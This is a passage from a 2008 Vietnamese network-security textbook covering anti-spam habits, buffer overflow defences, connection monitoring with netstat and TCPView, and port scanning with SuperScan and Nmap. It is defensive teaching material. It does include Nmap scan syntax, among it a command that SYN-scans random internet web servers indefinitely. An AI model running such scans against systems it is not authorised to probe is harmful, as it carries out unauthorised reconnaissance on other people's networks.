trọng trong việc chống lại “đại dịch” thư rác. Bởi vậy người dùng cần tuân theo
một số nguyên tắc sau:

• Luôn cập nhật các bản vá mới nhất của các phần mềm đang cài đặt trên máy.

• Đảm bảo tất cả các máy luôn được cập nhật các phần mềm chống virus và chống
spam.

• Sử dụng các firewall để bảo vệ hệ thống.

• Không trả lời các email lạ không rõ nguồn gốc. Đối với các spammer, khi nhận
được một trả lời từ hàng ngàn email họ gửi đi thì cũng chứng minh là phương pháp
đó có hiệu quả. Ngoài ra, việc trả lời lại còn xác nhận là địa chỉ email của bạn là có
thực và hiện đang được sử dụng. Do vậy địa chỉ email của bạn sẽ “đáng giá” hơn,
và các spammer sẽ gửi nhiều thư rác hơn.

• Không gửi các thông tin cá nhân của bạn (số thẻ tín dụng, mật khẩu, tài khoản
ngân hàng, v.v... ) trong thư điện tử. Các spammer và những kẻ lừa đảo qua mạng
có thể tạo ra những trang web giả mạo các tổ chức, ngân hàng... đề nghị bạn gửi
mật khẩu và một số thông tin về thẻ tín dụng của bạn qua email.

• Không hồi đáp email bằng cách nhấn lên từ như “loại bỏ” (remove) hoặc “ngừng
đăng ký” (unsubscribe) trong dòng tiêu đề hoặc trong nội dung của thư trừ khi đây
là nguồn đáng tin cậy (các email tiếp thị trực tiếp). Đây là tiểu xảo của các
spammer để người sử dụng hồi đáp lại các spam của họ. Khi nhận được hồi đáp,
các spammer không những không loại bỏ địa chỉ email của bạn ra khỏi danh sách
mà còn gửi tới nhiều spam hơn bởi vì họ biết rằng địa chỉ email của bạn hiện đang
hoạt động.

• Không bao giờ bấm vào các liên kết URL hoặc địa chỉ trang web được ghi trong
spam ngay cả khi nó hướng dẫn người nhận ngừng đăng ký. Điều này cũng cho
người gửi biết rằng địa chỉ email của bạn đang được sử dụng và bạn có thể sẽ nhận
được nhiều spam hơn.

• Hãy sử dụng hai địa chỉ email khác nhau, một địa chỉ sử dụng cho các việc riêng
như bạn bè, công việc. Một địa chỉ sử dụng để đăng ký trở thành thành viên của
các diễn đàn, các tổ chức... những nơi mà địa chỉ email của bạn có thể bị lạm dụng
hoặc bán.

147
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

• Không nên đăng địa chỉ email của bạn ở những nơi công cộng (ví dụ như các
diễn đàn, bảng tin, chat room...) nơi các spammer thường sử dụng các tiện ích để
thu thập và tìm kiếm địa chỉ email.

• Sử dụng các dịch vụ email cung cấp công cụ chống spam, ví dụ như Yahoo!
Mail, Gmail.

• Không bao giờ được chuyển tiếp spam cho người khác.

• Chuyển spam nhận được đến người quản trị hệ thống email. Quản trị viên sẽ thay
đổi chương trình lọc để lần sau hệ thống sẽ chặn lại những email tương tự như thế.

148
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 4: BUFFER OVERFLOWS

1. Khái niệm

Buffer (Bộ đệm) là vùng dữ liệu chương trình phần mềm cấp phát để sử dụng trong
quá trình thực hiện chương trình.

Lỗi tràn bộ đệm là một điều kiện bất thường khi một tiến trình lưu dữ liệu vượt ra
ngoài biên của một bộ nhớ đệm có chiều dài cố định. Kết quả là dữ liệu đó sẽ đè
lên các vị trí bộ nhớ liền kề. Dữ liệu bị ghi đè có thể bao gồm các bộ nhớ đệm
khác, các biến và dữ liệu điều khiển luồng chạy của chương trình.

Các lỗi tràn bộ đệm có thể làm cho một tiến trình đổ vỡ hoặc cho ra các kết quả
sai. Các lỗi này có thể được kích hoạt bởi các dữ liệu vào được thiết kế đặc biệt để
thực thi các đoạn mã phá hoại hoặc để làm cho chương trình hoạt động một cách
không như mong đợi. Bằng cách đó, các lỗi tràn bộ đệm gây ra nhiều lỗ hổng bảo
mật (vulnerability) đối với phần mềm và tạo cơ sở cho nhiều thủ thuật khai thác
(exploit). Việc kiểm tra biên (bounds checking) đầy đủ bởi lập trình viên hoặc trình
biên dịch có thể ngăn chặn các lỗi tràn bộ đệm.

Ví dụ cơ bản

Trong ví dụ sau, một chương trình đã định nghĩa hai phần tử dữ liệu kề nhau trong
bộ nhớ: A là một bộ nhớ đệm xâu ký tự dài 8 bytes, và B là một số nguyên kích
thước 2 byte. Ban đầu, A chỉ chứa toàn các byte giá trị 0, còn B chứa giá trị 3. Các
ký tự có kích thước 1 byte.

Bây giờ, chương trình ghi một xâu ký tự "excessive" vào bộ đệm A, theo sau là
một byte 0 để đánh dấu kết thúc xâu. Vì không kiểm tra độ dài xâu, nên xâu ký tự
mới đã đè lên giá trị của B:

149
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Tuy lập trình viên không có ý định sửa đổi B, nhưng giá trị của B đã bị thay thế bởi
một số được tạo nên từ phần cuối của xâu ký tự. Trong ví dụ này, trên một hệ
thống big-endian sử dụng mã ASCII, ký tự "e" và tiếp theo là một byte 0 sẽ trở
thành số 25856.

Nếu B là phần tử dữ liệu duy nhất còn lại trong số các biến được chương trình định
nghĩa, việc viết một xâu ký tự dài hơn nữa và vượt quá phần cuối của B sẽ có thể
gây ra một lỗi chẳng hạn như segmentation fault (lỗi phân đoạn) và tiến trình sẽ kết
thúc.

2. Chống tràn bộ đệm

Nhiều kỹ thuật đa dạng với nhiều ưu nhược điểm đã được sử dụng để phát hiện
hoặc ngăn chặn hiện tượng tràn bộ đệm. Cách đáng tin cậy nhất để tránh hoặc ngăn
chặn tràn bộ đệm là sử dụng bảo vệ tự động tại mức ngôn ngữ lập trình. Tuy nhiên,
loại bảo vệ này không thể áp dụng cho mã thừa kế (legacy code), và nhiều khi các
ràng buộc kỹ thuật, kinh doanh hay văn hóa lại đòi hỏi sử dụng một ngôn ngữ
không an toàn. Các mục sau đây mô tả các lựa chọn và cài đặt hiện có.

2.1. Lựa chọn ngôn ngữ lập trình

Lựa chọn về ngôn ngữ lập trình có thể có một ảnh hưởng lớn đối với sự xuất hiện
của lỗi tràn bộ đệm. Năm 2006, C và C++ nằm trong số các ngôn ngữ lập trình
thông dụng nhất, với một lượng khổng lồ các phần mềm đã được viết bằng hai
ngôn ngữ này. C và C++ không cung cấp sẵn các cơ chế chống lại việc truy nhập
hoặc ghi đè dữ liệu lên bất cứ phần nào của bộ nhớ thông qua các con trỏ bất hợp
lệ; cụ thể, hai ngôn ngữ này không kiểm tra xem dữ liệu được ghi vào một mảng
cài đặt của một bộ nhớ đệm) có nằm trong biên của mảng đó hay không. Tuy
nhiên, cần lưu ý rằng các thư viện chuẩn của C++, thư viện khuôn mẫu chuẩn -
STL, cung cấp nhiều cách an toàn để lưu trữ dữ liệu trong bộ đệm, và các lập trình
viên C cũng có thể tạo và sử dụng các tiện ích tương tự. Cũng như đối với các tính
năng bất kỳ khác của C hay C++, mỗi lập trình viên phải tự xác định lựa chọn xem
họ có muốn chấp nhận các hạn chế về tốc độ chương trình để thu lại các lợi ích
tiềm năng (độ an toàn của chương trình) hay không.

Một số biến thể của C, chẳng hạn Cyclone, giúp ngăn chặn hơn nữa các lỗi tràn bộ
đệm bằng việc chẳng hạn như gắn thông tin về kích thước mảng với các mảng.

150
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Ngôn ngữ lập trình D sử dụng nhiều kỹ thuật đa dạng để tránh gần hết việc sử dụng
con trỏ và kiểm tra biên do người dùng xác định.

Nhiều ngôn ngữ lập trình khác cung cấp việc kiểm tra tại thời gian chạy, việc kiểm
tra này gửi một cảnh báo hoặc ngoại lệ khi C hoặc C++ ghi đè dữ liệu. Ví dụ về
các ngôn ngữ này rất đa dạng, từ pythol tới Ada, từ Lisp tới Modula-2, và từ
Smalltalk tới OCaml. Các môi trường bytecode của Java và .NET cũng đòi hỏi
kiểm tra biên đối với tất cả các mảng. Gần như tất cả các ngôn ngữ thông dịch sẽ
bảo vệ chương trình trước các hiện tượng tràn bộ đệm bằng cách thông báo một
trạng thái lỗi định rõ (well-defined error). Thông thường, khi một ngôn ngữ cung
cấp đủ thông tin về kiểu để thực hiện kiểm tra biên, ngôn ngữ đó thường cho phép
lựa chọn kích hoạt hay tắt chế độ đó. Việc phân tích tĩnh (static analysis) có thể
loại được nhiều kiểm tra kiểu và biên động, nhưng các cài đặt tồi và các trường
hợp rối rắm có thể giảm đáng kể hiệu năng. Các kỹ sư phần mềm phải cẩn thận cân
nhắc giữa các phí tổn cho an toàn và hiệu năng khi quyết định sẽ sử dụng ngôn ngữ
nào và cấu hình như thế nào cho trình biên dịch.

2.2. Sử dụng các thư viện an toàn

Vấn đề tràn bộ đệm thường gặp trong C và C++ vì các ngôn ngữ này để lộ các chi
tiết biểu diễn mức thấp của các bộ nhớ đệm với vai trò các chỗ chứa cho các kiểu
dữ liệu. Do đó, phải tránh tràn bộ đệm bằng cách gìn giữ tính đúng đắn cao cho các
phần mã chương trình thực hiện việc quản lý bộ đệm. Việc sử dụng các thư viện
được viết tốt và đã được kiểm thử, dành cho các kiểu dữ liệu trừu tượng mà các thư
viện này thực hiện tự động việc quản lý bộ nhớ, trong đó có kiểm tra biên, có thể
làm giảm sự xuất hiện và ảnh hưởng của các hiện tượng tràn bộ đệm. Trong các
ngôn ngữ này, xâu ký tự và mảng là hai kiểu dữ liệu chính mà tại đó các hiện
tượng tràn bộ đệm thường xảy ra; do đó, các thư viện ngăn chặn lỗi tràn bộ đệm tại
các kiểu dữ liệu này có thể cung cấp phần chính của sự che chắn cần thiết. Dù vậy,
việc sử dụng các thư viện an toàn một cách không đúng có thể dẫn đến tràn bộ đệm
và một số lỗ hổng khác; và tất nhiên, một lỗi bất kỳ trong chính thư viện chính nó
cũng là một lỗ hổng. Các cài đặt thư viện "an toàn" gồm The Better String Library,
Arri Buffer API và Vstr. Thư viện C của hệ điều hành OpenBSD cung cấp các hàm
hữu ích strlcpy strlcat nhưng các hàm này nhiều hạn chế hơn nhiều so với các cài
đặt thư viện an toàn đầy đủ.

Tháng 9 năm 2006, Báo cáo kỹ thuật số 24731 của hội đồng tiêu chuẩn C đã được
công bố; báo cáo này mô tả một tập các hàm mới dựa trên các hàm vào ra dữ liệu

151
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

và các hàm xử lý xâu ký tự của thư viện C chuẩn, các hàm mới này được bổ sung
các tham số về kích thước bộ đệm.

2.3. Chống tràn bộ nhớ đệm trên stack

Stack-smashing protection là kỹ thuật được dùng để phát hiện các hiện tượng tràn
bộ đệm phổ biến nhất. Kỹ thuật này kiểm tra xem stack đã bị sửa đổi hay chưa khi
một hàm trả về. Nếu stack đã bị sửa đổi, chương trình kết thúc bằng một lỗi
segmentation fault. Các hệ thống sử dụng kỹ thuật này gồm có Libsafe,
StackGuard và các bản vá lỗi (patch) Propolicy

Chế độ Data Execution Prevention (cấm thực thi dữ liệu) của Microsoft bảo vệ
thẳng các con trỏ tới SEH Exception Handler, không cho chúng bị ghi đè.

Có thể bảo vệ stack hơn nữa bằng cách phân tách stack thành hai phần, một phần
dành cho dữ liệu và một phần cho các bước trả về của hàm. Sự phân chia này được
dùng trong ngôn ngữ lập trình Forth, tuy nó không phải một quyết định thiết kế
dựa theo tiêu chí an toàn. Nhưng dù sao thì đây cũng không phải một giải pháp
hoàn chỉnh đối với vấn đề tràn bộ đệm, khi các dữ liệu nhạy cảm không phải địa
chỉ trả về vẫn có thể bị ghi đè.

2.4. Bảo vệ không gian thực thi

Bảo vệ không gian thực thi là một cách tiếp cận đối với việc chống tràn bộ đệm.
Kỹ thuật này ngăn chặn việc thực thi mã tại stack hay heap. Một kẻ tấn công có thể
sử dụng tràn bộ đệm để chèn một đoạn mã tùy ý vào bộ nhớ của một chương trình,
nhưng với bảo vệ không gian thực thi, mọi cố gắng chạy đoạn mã đó sẽ gây ra một
ngoại lệ (exception).

Một số CPU hỗ trợ một tính năng có tên bit NX ("No eXecute" - "Không thực thi")
hoặc bit XD ("eXecute Disabled" - "chế độ thực thi đã bị tắt" ). Khi kết hợp với
phần mềm, các tính năng này có thể được dùng để đánh dấu các trang dữ liệu
(chẳng hạn các trang chứa stack và heap) là đọc được nhưng không thực thi được.

Một số hệ điều hành Unix (chẳng hạn OpenBSD, Mac OS X) có kèm theo tính
năng bảo vệ không gian thực thi.

Các biến thể mới của Microsoft Windows cũng hỗ trợ bảo vệ không gian thực thi,
với tên gọi Data Execution Prevention (ngăn chặn thực thi dữ liệu).

152
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.5. Ngẫu nhiên hóa sơ đồ không gian địa chỉ

Ngẫu nhiên hóa sơ đồ không gian địa chỉ (Address space layout randomization -
ASLR) là một tính năng an ninh máy tính có liên quan đến việc sắp xếp vị trí các
vùng dữ liệu quan trọng (thường bao gồm nơi chứa mã thực thi và vị trí các thư
viện, heap và stack) một cách ngẫu nhiên trong không gian địa chỉ của một tiến
trình.

Việc ngẫu nhiên hóa các địa chỉ bộ nhớ ảo mà các hàm và biến nằm tại đó làm cho
việc khai thác một lỗi tràn bộ đệm trở nên khó khăn hơn, nhưng phải là không thể
được. Nó còn buộc kẻ tấn công phải điều chỉnh khai thác cho hợp với từng hệ
thống cụ thể, điều này làm thất bại cố gắng của các con Sâu internet Một phương
pháp tương tự nhưng kém hiệu quả hơn, đó là kỹ thuật rebase đối với các tiến trình
và thư viện trong không gian địa chỉ ảo.

2.6. Kiểm tra sâu đối với gói tin

Biện pháp kiểm tra sâu đối với gói tin (deep packet inspection - DPI) có thể phát
hiện các cố gắng từ xa để khai thác lỗi tràn bộ đệm ngay từ biên giới mạng. Các kỹ
thuật này có khả năng chặn các gói tin có chứa chữ ký của một vụ tấn công đã biết
hoặc chứa một chuỗi dài các lệnh No-Operation (NOP - lệnh rỗng không làm gì),
các chuỗi như vậy thường được sử dụng khi vị trí của nội dung quan trọng
(payload) của tấn công hơi có biến đổi.

Việc rà các gói tin không phải là một phương pháp hiệu quả vì nó chỉ có thể ngăn
chặn các tấn công đã biết, và có nhiều cách để mã hóa một lệnh NOP. Các kẻ tấn
công có thể đã sử dụng mã alphanumeric, metamorphic, và Shellcode tự sửa để
tránh bị phát hiện bởi việc rà gói tin.

2.7. Thường xuyên cập nhật, cài đặt các bản vá lỗi.
Thường xuyên kiểm tra, thực hiện cập nhật các phần mềm sử dụng trong hệ thống,
các bản vá lỗi hệ điều hành, ứng dụng quan trọng…

2.8. Đánh giá mức độ an toàn của chương trình phần mềm

Sử dụng các công cụ và hướng dẫn đánh giá mức độ an toàn của chương trình như
Slint, rats, its, flawfinder, …

153
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 5: AN NINH ỨNG DỤNG – NHỮNG NGUYÊN TẮC


CƠ BẢN
Như đã đề cập xuyên suốt trong tài liệu, An ninh mạng nói chung là một tổng thể
các chính sách, các giải pháp công nghệ được xây dựng và triển khai một cách
khoa học, thống nhất nhằm đảm bảo an toàn thông tin cho tổ chức. Cũng tương tự
như an ninh hạ tầng mạng, an ninh lớp ứng dụng, về cơ bản cũng bao gồm 4 bước:

 Bước 1 (Security): Xây dựng các


giải pháp bảo mật

Tiến hành nghiên cứu, xây dựng


các giải pháp bảo mật phù hợp.

Đối với lớp hạ tầng mạng, các giải


pháp bảo mật có thể là công nghệ
tường lửa, IDS/IPS …

Còn đối với lớp ứng dụng, đó là


các giải pháp về phòng chống
Virus, các giải pháp đảm bảo an
toàn hệ thống Email (SMTP
Gateway Filter), các giải pháp về hệ thống Website,…

 Bước 2 (Monitor): Kiểm tra, giám sát hệ thống

Kiểm soát hoạt động, đánh giá tính an toàn của hệ thống sau khi áp dụng
giải pháp bảo mật.

Duy trì tính ổn định, bảo mật của hệ thống.

 Bước 3 (Test): Kiểm tra

Thực hiện kiểm tra các điểm yếu của hệ thống, phân tích các nguy cơ có thể
ảnh hưởng đến hệ thống.

Chẳng hạn, với giải pháp tường lửa ở lớp hạ tầng, chúng ta chỉ có thể kiểm
tra những kết nối, những cổng dịch vụ, những ứng dụng đang chạy trên một
máy chủ web nhưng không thể kiểm tra các lỗi liên quan đến kỹ thuật lập
154
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

trình đối với các website được chạy trên máy chủ đó. Và đó chính là công
việc của bước kiểm tra an toàn ở lớp ứng dụng.

 Bước 4 (Improve): Thông qua giải pháp

Sử dụng những thông tin thu được từ bước 2 và 3 để có đánh giá chính xác
về khả năng đáp ứng về bảo mật của hệ thống.

Điều chỉnh chính sách an ninh mạng và các giải pháp bảo mật nếu xuất hiện những
lỗ hổng và nguy cơ phát sinh.

155
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

PHẦN 5
CÔNG CỤ BẢO MẬT MẠNG

Yêu cầu kiến thức


Phần công cụ bảo mật mạng yêu cầu người học:

- Có kiến thức cơ bản về mô hình OSI, TCP/IP.


- Có kiến thức cơ bản về các dịch vụ mạng và hệ điều hành.

156
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 1. KIỂM TRA KẾT NỐI TRÊN MÁY TÍNH


Đa số các phần mềm Key logger hay Back Door đều cố gắng kết nối tới một cổng
nào đó ở máy tính hacker để truyền những thông tin thu thập được từ máy nạn
nhân, hoặc mở một cổng nào đó trên máy nạn nhân để hacker có thể truy cập tới.
Hay trong một số trường hợp, người dùng ADSL đột nhiên được thông báo rằng
máy tính của họ đã thực hiện một cuộc tấn công vào 1 website nào đó trong khi họ
không hề hay biết. Đó là khi các máy tính của người dùng đã bị biến thành zombie,
nhận lệnh của hacker để tiến hành các cuộc tấn công. Vậy, làm thế nào để chúng ta
tránh được những nguy cơ kể trên. Một trong những cách đơn giản và hay gặp nhất
là thường xuyên kiểm tra kết nối trên máy tính của mình. Có một số công cụ giúp
ta làm việc này.

1. Công cụ NETSTAT

Đầu tiên, chúng ta cùng nhau tìm hiểu công cụ netstat, một công cụ có sẵn trong
hệ điều hành Windows, với giao diện dòng lệnh và khá dễ sử dụng.

Để kiểm tra các kết nối trên máy tính của mình, chúng ta chỉ cần vào Run – gõ
CMD – Rồi gõ NETSTAT –AN :

157
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

 Cột Proto là phần giao thức (TCP, UDP)


 Cột Local Address là địa chỉ IP và cổng đang mở ở máy tính mình.
 Cột Foreign Address là địa chỉ IP và cổng đang mở của những máy ta đang
có kết nối , hoặc đang chờ kết nối.
 Cột State là trạng thái phiên kết nối. Trong đó:
o Established là phiên đang kết nối.
o Listening là phiên đang đợi kết nối (cổng mở)
o Time_wait: phiên chờ để đóng kết nối.

Công cụ NETSTAT còn nhiều tính năng khác như thống kê số gói tin với từng
giao thức : ICMP, UDP, TCP, Ipv4, Ipv6 hay xem bảng định tuyến…, chúng ta có
thể sử dụng câu lệnh Netstat /? để được hướng dẫn.

2. Phần mềm TCPView

TCPView là một công cụ kiểm tra kết nối rất tốt. Chạy trên hệ điều hành
Windows, TCPView cho phép người quản trị liệt kê một cách chi tiết tất cả các kết

158
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

nối TCP, UDP trên máy tính bao gồm tên tiến trình (Process Name), địa chỉ đích
(remote address) và trạng thái của phiên kết nối. TCPView là một công cụ rất trực
quan và hiển thị kết nối theo thời gian thực.

TCPView hỗ trợ các máy tính sử dụng hệ điều hành windows 98 , Windows Me,
Windows NT 4.0, Windows 2000, Windows XP, Windows Server 2003 and
Windows Vista.

Sử dụng TCPView

Khi khởi động, TCPView sẽ liệt kê tất cả các kết nối TCP, UDP đang thực hiện và
phân giải tên miền. Có thể thay đổi chế độ hiển thị theo tên miền hoặc địa chỉ IP.
Mặc định, TCPView tự động cập nhật mỗi một giây nhưng người sử dụng có thể
sử dụng chức năng View|Update Speed để thay đổi giá trị mặc định này. Những
kết nối vừa thay đổi trạng thái sẽ được hiển thị màu vàng, kết nối vừa ngắt sẽ hiển
thị màu đỏ và kết nối mới được mô tả bằng màu xanh.

TCPView còn cho phép người sử dụng có thể đóng một phiên kết nối nào đó bằng
cách click chuột phải lên kết nối đó và chọn Close Connections hay ngắt một tiến
trình nào đó bằng cách chọn End Process.

159
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Ngoài ra, một tính năng đáng chú ý nữa là TCPView cho phép người sử dụng tra
cứu trực tiếp thông tin về một tên miền nào đó qua Whois của MarkMonitor.com.

160
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 2. QUÉT CỔNG


Quét cổng là một quá trình nhằm kiểm tra xem một (hoặc nhiều) máy có mở một
(hay nhiều) cổng dịch vụ hay không. Các công cụ quét cổng cho phép chúng ta
cũng như những kẻ tấn công biết được cổng dịch vụ nào đang được mở trên hệ
thống. Từ đó có thể đưa ra những đánh giá về độ an toàn hệ thống, tìm hiểu các
loại dịch vụ trên hệ thống, phiên bản, hệ điều hành…

1. Công cụ SuperScan

SuperScan là một công cụ miễn phí của tổ chức bảo mật nổi tiếng FoundStone.
SuperScan khá mạnh trong việc quét cổng dịch vụ, ngoài ra, nó còn cung cấp các
tiện ích kèm theo rất hữu ích trong việc đánh giá an ninh mạng như Ping,
Traceroute, lấy banner, whois, Windows Enumeration. Trong nội dung này, chúng
ta chỉ tìm hiểu tác dụng quét cổng của SuperScan.

161
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Cách sử dụng SuperScan để quét cổng dịch vụ

Cách đơn giản nhất khi muốn quét cổng trên một máy tính là nhập địa chỉ IP của
máy tính đó vào phần Hostname/IP rồi Start (nút tam giác màu xanh)

Sau khi quét xong, kết quả được hiển thị ngay ở khung giữa chương trình. Nếu
muốn xem chi tiết hơn, có thể sử dụng chức năng View HTML Results.

SuperScan còn hỗ trợ quét cùng lúc nhiều địa chỉ IP bằng cách nhập dải IP vào
phần Start IP và End IP. Ngoài ra, có thể nhập dải IP cần quét từ một tệp tin bằng
cách nhấn Read IPs from file. SuperScan hỗ trợ các dạng viết địa chỉ như sau:

- Theo tên miền: Evnit.com.vn

- Một địa chỉ: 10.1.3.223

- Nhiều địa chỉ: 10.1.3.1-10.1.3.20 hoặc 10.1.3.1-20

- Viết theo dạng CIDR: 10.1.3.0/24

SuperScan hoạt động tốt với chế độ mặc định. Tuy nhiên, người sử dụng cũng
được cung cấp một số cơ chế quét cổng khác ở tab Host and Service Discovery.

162
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Host Discovery Options

SuperScan cho phép người sử dụng sử dụng một số phương pháp khác nhau để
xác định một máy tính có đang kết nối mạng hay không (Live Host) như Echo
Request, Timestamp Request… Mặc định, SuperScan sẽ không tiến hành quét
cổng với những máy tính không kết nối. Do vậy, nếu bỏ chọn phần Host
Discovery, SuperScan sẽ quét cổng ở tất cả các địa chỉ trong list.

UDP Port Scan

SuperScan hỗ trợ 2 cơ chế quét UDP là:

163
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

 Data – SuperScan sẽ gửi gói tin UDP đến từng cổng trong danh sách và phân
tích dựa theo thông tin phản hồi.
 Data + ICMP – tương tự như phương pháp Data nhưng sử dụng thêm gói tin
ICMP trong quá trình quét cổng. SuperScan sẽ gửi gói tin ICMP đến các
cổng, nếu một cổng nào đó không phản hồi với bản tin "ICMP Destination
Port Unreachable" thì SuperScan sẽ coi rằng cổng đó đang mở và tiến hành
gửi gói tin UDP như phương pháp trên.

TCP Port Scan

SuperScan hỗ trợ 2 cơ chế quét TCP cơ bản là:

 Connect – Thực hiện một phiên TCP bắt tay 3 bước đầy đủ. (Full TCP 3-
way handshake)
 SYN – Chỉ gửi gói tin SYN.

Chú ý: để quét chính máy tính của mình, phải sử dụng cơ chế Connect.

2. Network Mapper (NMAP)

Là một tiện ích mã nguồn mở miễn phí, Nmap thực sự rất mạnh trong việc dò quét
hệ thống. Nmap cung cấp rất nhiều cơ chế cho phép người quản trị có thể dễ dàng
xác định trạng thái các máy tính trong mạng, các dịch vụ (tên ứng dụng và phiên
bản) trên từng máy, các máy tính sử dụng hệ điều hành gì… Ngoài ra, Nmap còn
mạnh ở tốc độ quét, nên có thể sử dụng Nmap với hệ thống mạng lớn. Nmap chạy
trên hầu hết các hệ điều hành (từ Windows, Linux đến Mac…) và hỗ trợ cả giao
diện đồ họa lẫn giao diện dòng lệnh.

Như đã nói ở trên, Nmap là một bộ công cụ gồm rất nhiều tiện trong việc dò quét
hệ thống mạng. Tuy nhiên, ở nội dung này, chúng ta chỉ tìm hiểu về tính năng quét
cổng của Nmap.

Cách sử dụng Nmap để quét cổng dịch vụ

Có thể sử dụng cả giao diện đồ họa ( gọi là Zenmap) và giao diện dòng lệnh để
thực hiện việc quét cổng. Mặc dù giao diện đồ họa thân thiện và dễ sử dụng hơn rất
nhiều, nhưng chúng ta hãy cùng làm quen với giao diện dòng lệnh trước để hiểu rõ
164
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

hơn từng chế độ quét của Nmap. Khi đã quen với giao diện dòng lệnh, việc sử
dụng giao diện đồ họa sẽ giúp bạn vừa tiết kiệm được thời gian, vừa có khả năng
tùy biến cao.

Phiên bản mà chúng ta sử dụng trong nội dung này là phiên bản Nmap-4.62 dành
cho hệ điều hành Windows. Sau khi cài đặt, mặc định, Nmap sẽ nằm ở đường dẫn
C:\Program Files\Nmap.

Để sử dụng Nmap, chúng ta vào Run – gõ CMD, trong cửa sổ Command Promt,
chúng ta mở thư mục Nmap bằng cách gõ cd C:\Program Files\Nmap

Tiếp theo, chúng ta gõ NMAP để xem hướng dẫn.

165
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Cấu trúc câu lệnh của Nmap như sau:

Usage: nmap [Scan Type(s)] [Options] {target specification}

Như đã nói ở trên, Nmap là một công cụ rất mạnh, nó hỗ trợ nhiều tính năng cũng
như nhiều kỹ thuật quét. Với nhiệm vụ quét cổng trên các máy trong hệ thống
mạng, chúng ta ít nhất cần biết những tính năng sau:

 Target Specification (xác định mục tiêu)

Nmap xác định mục tiêu dò quét theo nhiều cách:

o Theo tên miền: Evnit.com.vn


o Một địa chỉ: 10.1.3.223
o Nhiều địa chỉ: 10.1.3.1-20 hay 10.1.3.50,55,70
o Viết theo dạng CIDR: 10.1.3.0/24
o Đặc biệt, Nmap còn cho phép nhiều tất cả cách viết trên trong cùng
một câu lệnh.

Ví dụ: nmap scanme.nmap.org 192.168.1.0/24 10.0.0,1,3-7.0-255

Ta còn có thể quét một danh sách địa chỉ IP hay tên miền từ một tệp tin bằng
cách sử dụng thêm tham số -iL <tênfile> ; ví dụ: Nmap –iL C:\Dhcp-
export.txt

Ngoài ra, Nmap còn cho phép ta có thể quét ngẫu nhiên một hoặc nhiều mục
tiêu bằng tham số -iR <số host> ; nếu số host = 0 nghĩa là quá trình quét
ngẫu nhiên sẽ không bao giờ dừng cho đến khi người quản trị thoát khỏi
Nmap.

Ví dụ: câu lệnh Nmap -sS -PS80 -iR 0 -p 80 sẽ quét một cách ngẫu nhiên
các web server với kỹ thuật TCP SYN.

 Scan Techniques (Các kỹ thuật quét)

Có thể nói, các kỹ thuật quét được tích hợp trong công cụ Nmap biến nó trở
thành một trong những công cụ quét cổng mạnh nhất hiện nay.

166
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Trong khi các công cụ khác thường chỉ xác định được 1 cổng dịch vụ nào đó
đang ở trạng thái Open hoặc Close thì Nmap phân biệt đến 6 trạng thái của
một cổng dịch vụ:

o Open: một ứng dụng nào đó sẵn sàng chấp nhận phiên kết nối trên
cổng này. Việc xác định các cổng mở chính là mục tiêu chính của mọi
công cụ quét cổng. Vì từ những cổng mở mang lại rất nhiều thông tin
cho cả người quản trị mạng và hacker.
o Closed: Một cổng ở trạng thái Closed vẫn nhận và hồi đáp các gói tin
thăm dò từ Nmap nhưng không có ứng dụng nào đang lắng nghe trên
cổng đó. Nó có ý nghĩa trong việc tìm kiếm các máy tính đang nối
mạng (live host) hoặc xác định phiên bản hệ điều hành.
o Filtered: Nmap không thể liệu cổng x có mở hay không bởi vì gói tin
thăm dò của nó đã bị chặn bởi một thiết bị lọc gói tin (có thể là tường
lửa, router…) Thỉnh thoảng Nmap sẽ nhận được tin phản hồi với
thông tin ICMP : Destination host unreachable nhưng thông thường là
các thiết bị lọc gói tin sẽ hủy ngay gói tin thăm dò của Nmap mà
không có bất kỳ thông tin phản hồi nào. Điều này dẫn đến việc Nmap
phải gửi lại nhiều gói tin thăm dò để tránh trường hợp bị lỗi đường
truyền, làm cho quá trình quét tốn khá nhiều thời gian.
o Unfiltered: Một cổng có thể kết nối nhưng Nmap không thể xác định
cổng đó đang ở trạng thái open hay closed. Những cổng ở trạng thái
này chỉ cho ta biết rằng cổng đó không bị lọc bởi một thiết bị lọc gói
tin nào.
o Open|Filtered: Nmap đưa một cổng vào trạng thái này khi nó không
thể xác định được cổng đó đang ở trạng thái Open hay Filtered. Trạng
thái này thường chỉ xuất hiện khi sử dụng các kỹ thuật UDP, IP
protocol, FIN, null, và Xmas.
o Closed|Filtered: Trạng thái này được đưa ra khi Nmap không xác định
được một cổng đang ở trạng thái Closed hay Filtered. Chỉ xuất hiện
trong kỹ thuật quét IP ID idle.

Các kỹ thuật quét cổng cơ bản của Nmap:

Chúng ta sẽ tìm hiểu qua một số kỹ thuật quét cổng thường dùng nhất của
Nmap:

o -sS (TCP SYN scan): Kỹ thuật này còn được gọi là half-open scan vì
nó chỉ gửi gói tin SYN và căn cứ vào gói tin trả về để đánh giá trạng

167
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

thái 1 cổng. Gói tin trả về là SYN/ACK sẽ chỉ ra cổng ở trạng thái
open, gói tin RST (reset) sẽ chỉ ra một cổng closed. Nếu không nhận
được gói tin trả về sau vài lần gửi hoặc trả về là gói tin ICMP
unreachable thì Nmap sẽ coi cổng đó ở trạng thái Filtered.
o -sT (TCP connect scan): Kỹ thuật này thực hiện một kết nối TCP thực
sự tới cổng cần quét. Và đây chính là kỹ thuật cơ bản nhất trong quét
cổng. Kỹ thuật này tốn thời gian hơn và dễ dàng bị phát hiện hơn.
